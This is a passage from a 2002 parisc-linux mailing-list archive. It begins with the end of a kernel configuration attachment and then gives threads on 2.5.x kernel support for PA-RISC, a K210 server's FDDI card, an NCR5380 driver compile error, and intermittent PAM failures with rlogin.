CONFIG_MSDOS_PARTITION=3Dy=0A=
# CONFIG_SMB_NLS is not set=0A=
CONFIG_NLS=3Dy=0A=
=0A=
#=0A=
# Native Language Support=0A=
#=0A=
CONFIG_NLS_DEFAULT=3D"iso8859-1"=0A=
# CONFIG_NLS_CODEPAGE_437 is not set=0A=
# CONFIG_NLS_CODEPAGE_737 is not set=0A=
# CONFIG_NLS_CODEPAGE_775 is not set=0A=
# CONFIG_NLS_CODEPAGE_850 is not set=0A=
# CONFIG_NLS_CODEPAGE_852 is not set=0A=
# CONFIG_NLS_CODEPAGE_855 is not set=0A=
# CONFIG_NLS_CODEPAGE_857 is not set=0A=
# CONFIG_NLS_CODEPAGE_860 is not set=0A=
# CONFIG_NLS_CODEPAGE_861 is not set=0A=
# CONFIG_NLS_CODEPAGE_862 is not set=0A=
# CONFIG_NLS_CODEPAGE_863 is not set=0A=
# CONFIG_NLS_CODEPAGE_864 is not set=0A=
# CONFIG_NLS_CODEPAGE_865 is not set=0A=
# CONFIG_NLS_CODEPAGE_866 is not set=0A=
# CONFIG_NLS_CODEPAGE_869 is not set=0A=
# CONFIG_NLS_CODEPAGE_936 is not set=0A=
# CONFIG_NLS_CODEPAGE_950 is not set=0A=
# CONFIG_NLS_CODEPAGE_932 is not set=0A=
# CONFIG_NLS_CODEPAGE_949 is not set=0A=
# CONFIG_NLS_CODEPAGE_874 is not set=0A=
# CONFIG_NLS_ISO8859_8 is not set=0A=
# CONFIG_NLS_CODEPAGE_1250 is not set=0A=
# CONFIG_NLS_CODEPAGE_1251 is not set=0A=
# CONFIG_NLS_ISO8859_1 is not set=0A=
# CONFIG_NLS_ISO8859_2 is not set=0A=
# CONFIG_NLS_ISO8859_3 is not set=0A=
# CONFIG_NLS_ISO8859_4 is not set=0A=
# CONFIG_NLS_ISO8859_5 is not set=0A=
# CONFIG_NLS_ISO8859_6 is not set=0A=
# CONFIG_NLS_ISO8859_7 is not set=0A=
# CONFIG_NLS_ISO8859_9 is not set=0A=
# CONFIG_NLS_ISO8859_13 is not set=0A=
# CONFIG_NLS_ISO8859_14 is not set=0A=
# CONFIG_NLS_ISO8859_15 is not set=0A=
# CONFIG_NLS_KOI8_R is not set=0A=
# CONFIG_NLS_KOI8_U is not set=0A=
# CONFIG_NLS_UTF8 is not set=0A=
=0A=
#=0A=
# Console drivers=0A=
#=0A=
=0A=
#=0A=
# Frame-buffer support=0A=
#=0A=
CONFIG_FB=3Dy=0A=
CONFIG_DUMMY_CONSOLE=3Dy=0A=
# CONFIG_FB_CYBER2000 is not set=0A=
CONFIG_FB_STI=3Dy=0A=
# CONFIG_FB_VIRTUAL is not set=0A=
# CONFIG_FBCON_ADVANCED is not set=0A=
CONFIG_FBCON_CFB8=3Dy=0A=
CONFIG_FBCON_CFB32=3Dy=0A=
CONFIG_FBCON_STI=3Dy=0A=
# CONFIG_FBCON_FONTWIDTH8_ONLY is not set=0A=
# CONFIG_FBCON_FONTS is not set=0A=
CONFIG_FONT_8x8=3Dy=0A=
CONFIG_FONT_8x16=3Dy=0A=
CONFIG_STI_CONSOLE=3Dy=0A=
CONFIG_DUMMY_CONSOLE=3Dy=0A=
CONFIG_DUMMY_CONSOLE=3Dy=0A=
CONFIG_FBCON=3Dy=0A=
CONFIG_FBCON_FONT=3Dy=0A=
CONFIG_FONT_8x8=3Dy=0A=
CONFIG_FONT_8x16=3Dy=0A=
CONFIG_FONT_6x11=3Dy=0A=
CONFIG_FONT_SUN12x22=3Dy=0A=
=0A=
#=0A=
# Sound=0A=
#=0A=
CONFIG_SOUND=3Dy=0A=
# CONFIG_SOUND_BT878 is not set=0A=
# CONFIG_SOUND_CMPCI is not set=0A=
# CONFIG_SOUND_EMU10K1 is not set=0A=
# CONFIG_MIDI_EMU10K1 is not set=0A=
# CONFIG_SOUND_FUSION is not set=0A=
# CONFIG_SOUND_CS4281 is not set=0A=
# CONFIG_SOUND_ES1370 is not set=0A=
# CONFIG_SOUND_ES1371 is not set=0A=
# CONFIG_SOUND_ESSSOLO1 is not set=0A=
# CONFIG_SOUND_MAESTRO is not set=0A=
# CONFIG_SOUND_MAESTRO3 is not set=0A=
# CONFIG_SOUND_ICH is not set=0A=
CONFIG_SOUND_HARMONY=3Dy=0A=
# CONFIG_SOUND_RME96XX is not set=0A=
# CONFIG_SOUND_SONICVIBES is not set=0A=
# CONFIG_SOUND_TRIDENT is not set=0A=
# CONFIG_SOUND_MSNDCLAS is not set=0A=
# CONFIG_SOUND_MSNDPIN is not set=0A=
# CONFIG_SOUND_VIA82CXXX is not set=0A=
# CONFIG_MIDI_VIA82CXXX is not set=0A=
# CONFIG_SOUND_OSS is not set=0A=
# CONFIG_SOUND_TVMIXER is not set=0A=
=0A=
#=0A=
# Kernel hacking=0A=
#=0A=
CONFIG_MAGIC_SYSRQ=3Dy=0A=

------=_NextPart_000_001C_01C232FD.892170A0--


From - Thu Nov 08 21:23:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] can I use 2.5.x kernels for PARISC 32 bit
Date: Wed, 24 Jul 2002 11:50:30 +0300
Lines: 6
Approved: news@gmane.org
Message-ID: <3D3E6A56.8080708@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621561 11408 80.91.229.3 (22 Nov 2014 01:59:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 02:47:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 81BF1482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 02:47:24 -0600 (MDT)
Original-Received: (qmail 12270 invoked from network); 24 Jul 2002 08:49:38 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 24 Jul 2002 08:49:38 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15628

Today I downloaded 2.5.27 kernel, I see that there is support for parisc 
architecture
Anybody tried this kernel or another 2.5.x version?




From - Thu Nov 08 21:23:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] K class server
Date: Wed, 24 Jul 2002 11:55:27 +0300
Lines: 11
Approved: news@gmane.org
Message-ID: <3D3E6B7F.9030601@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621562 11411 80.91.229.3 (22 Nov 2014 01:59:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 02:52:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 03A19482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 02:52:19 -0600 (MDT)
Original-Received: (qmail 12404 invoked from network); 24 Jul 2002 08:54:35 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 24 Jul 2002 08:54:35 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15629

Hello,
     My K class server K210/819 working perfectly with 2.4.18-pa54
Server was up 6 days without hangs or any problems. RAID 1 working 
perfectly. After that power was off for 5 mins and my UPS ran out:)
I think that this K210 is perfect server!:)
I have FDDI 100mbit on this, can I use it or there is no drivers yet?
I don't know the model of this FDDI, I think that the mark is HP...





From - Thu Nov 08 21:23:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] can I use 2.5.x kernels for PARISC 32 bit
Date: Wed, 24 Jul 2002 13:21:07 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20020724132107.J3052@parcelfarce.linux.theplanet.co.uk>
References: <3D3E6A56.8080708@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621562 11415 80.91.229.3 (22 Nov 2014 01:59:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 06:21:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE544482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 06:21:09 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17XL8d-0001qu-00; Wed, 24 Jul 2002 13:21:07 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D3E6A56.8080708@itp.bg>; from stephan@itp.bg on Wed, Jul 24, 2002 at 11:50:30AM +0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15630

On Wed, Jul 24, 2002 at 11:50:30AM +0300, Stephan Trajkoff wrote:
> Today I downloaded 2.5.27 kernel, I see that there is support for parisc 
> architecture
> Anybody tried this kernel or another 2.5.x version?

bwahahaha.  the code in the 2.5.27 tree has been there since 2.4.0-test10
(or thereabouts).  it is heavily bitrotten, not maintained, and we've
moved on significantly since then (it's over 18 months since that code
went in).

you may or may not have noticed that we just started trying to merge
our code with 2.5 in our CVS tree.  this code is currently at the `we're
happy if it dies trying to start init' stage.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] K-2.5.26-pa0: NCR5380.c ?
Date: Wed, 24 Jul 2002 14:32:01 +0200 (CEST)
Lines: 12
Approved: news@gmane.org
Message-ID: <1027513921.3d3e9e41069a0@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621562 11418 80.91.229.3 (22 Nov 2014 01:59:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 06:32:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56CDA482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 06:32:02 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17XLJB-0007x2-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 14:32:01 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15631

In NCR5380.c failled to compile because 'io_request_lock' undeclare.

'&io_request_lock' seems to became 'q->queue_lock' (include/linux/nbd.h)(with
request_queue_t *q).
Is it right?

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K-2.5.26-pa0: NCR5380.c ?
Date: 24 Jul 2002 14:55:35 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <1027518935.6517.30.camel@irongate.swansea.linux.org.uk>
References: <1027513921.3d3e9e41069a0@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621563 11421 80.91.229.3 (22 Nov 2014 01:59:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 06:42:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1602B482F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 06:42:28 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6ODtdu6006753;
	Wed, 24 Jul 2002 14:55:39 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6ODtZbD006751;
	Wed, 24 Jul 2002 14:55:35 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <1027513921.3d3e9e41069a0@webmail.tiscalinet.be>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15632

On Wed, 2002-07-24 at 13:32, joel.soete@freebel.net wrote:
> In NCR5380.c failled to compile because 'io_request_lock' undeclare.
> 
> '&io_request_lock' seems to became 'q->queue_lock' (include/linux/nbd.h)(with
> request_queue_t *q).
> Is it right?

In the general case for NCR5380 no. There is a lot more that needs to be
fixed to make that driver work on 2.5



From - Thu Nov 08 21:23:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K-2.5.26-pa0: NCR5380.c ?
Date: Wed, 24 Jul 2002 13:47:44 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <20020724134744.K3052@parcelfarce.linux.theplanet.co.uk>
References: <1027513921.3d3e9e41069a0@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621563 11424 80.91.229.3 (22 Nov 2014 01:59:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 06:47:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13ACA482F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 06:47:50 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17XLYO-0002Wz-00; Wed, 24 Jul 2002 13:47:44 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1027513921.3d3e9e41069a0@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, Jul 24, 2002 at 02:32:01PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15633

On Wed, Jul 24, 2002 at 02:32:01PM +0200, joel.soete@freebel.net wrote:
> In NCR5380.c failled to compile because 'io_request_lock' undeclare.

why are you trying to compile this driver?  do you _really_ have an NCR5380?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PAM unable to resolve symbol: pam_sm_cha
 uthtok
Date: Wed, 24 Jul 2002 15:44:42 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <3D3EAF4A.978D4311@hpfrcu81.france.hp.com>
References: <1027513921.3d3e9e41069a0@webmail.tiscalinet.be> <1027518935.6517.30.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621563 11425 80.91.229.3 (22 Nov 2014 01:59:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 07:43:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4AE25482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 07:43:59 -0600 (MDT)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 9A9D8571
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 15:43:57 +0200 (METDST)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id PAA02360; Wed, 24 Jul 2002 15:44:43 +0200 (METDST)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15634

Hi All,

I have setup pam.d/rlogind pam.d/login in such way that I could rlogin to my
palinux machine.

All is configured ok (since it works sometimes).

Here is a login attempt.

iws1pb05:/home/phi> rlogin iws1pb02
Connection closed.
iws1pb05:/home/phi> rlogin iws1pb02
Kill is %.
Interrupt is control-C (^C).
iws1pb02:/home/phi>

After some attempt it works, I don't understand what make it fail several time
before success.

Here is the log of this session

Jul 24 15:38:33 iws1pb02 pam_rhosts_auth[7889]: allowed to phi@iws1pb05 as phi
Jul 24 15:38:36 iws1pb02 PAM_unix[7672]: (cron) session closed for user mail
Jul 24 15:38:36 iws1pb02 rlogind[7919]: PAM unable to resolve symbol:
pam_sm_cha
uthtok
Jul 24 15:38:36 iws1pb02 rlogind[7919]: PAM unable to resolve symbol:
pam_sm_cha
uthtok
Jul 24 15:38:36 iws1pb02 pam_rhosts_auth[7919]: allowed to phi@iws1pb05 as phi
Jul 24 15:38:37 iws1pb02 PAM_unix[7923]: (login) session opened for user phi
by
(uid=0)

Sounds like rlogind is not able to always map pam_sm_chauthtok, when it
succeed, the login session is opened.

Dunno if the order have importance here, sounds like when it fail the
pam_rhosts_auth[7889]: allowed to phi@iws1pb05 came first while when it fail
it cam after.

Any ideas
Thanx in advance
Phi


From - Thu Nov 08 21:23:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K-2.5.26-pa0: NCR5380.c ?
Date: Wed, 24 Jul 2002 15:46:08 +0200 (CEST)
Lines: 22
Approved: news@gmane.org
Message-ID: <1027518368.3d3eafa051fc1@webmail.tiscalinet.be>
References: <1027513921.3d3e9e41069a0@webmail.tiscalinet.be> <20020724134744.K3052@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621563 11429 80.91.229.3 (22 Nov 2014 01:59:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:23 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 07:46:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id C36AF482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Jul 2002 07:46:13 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17XMSu-0000Q0-00; Wed, 24 Jul 2002 15:46:08 +0200
In-Reply-To: <20020724134744.K3052@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15635

Quoting Matthew Wilcox <willy@debian.org>:

> On Wed, Jul 24, 2002 at 02:32:01PM +0200, joel.soete@freebel.net wrote:
> > In NCR5380.c failled to compile because 'io_request_lock' undeclare.
> 
> why are you trying to compile this driver?  do you _really_ have an
> NCR5380?
> 
> -- 
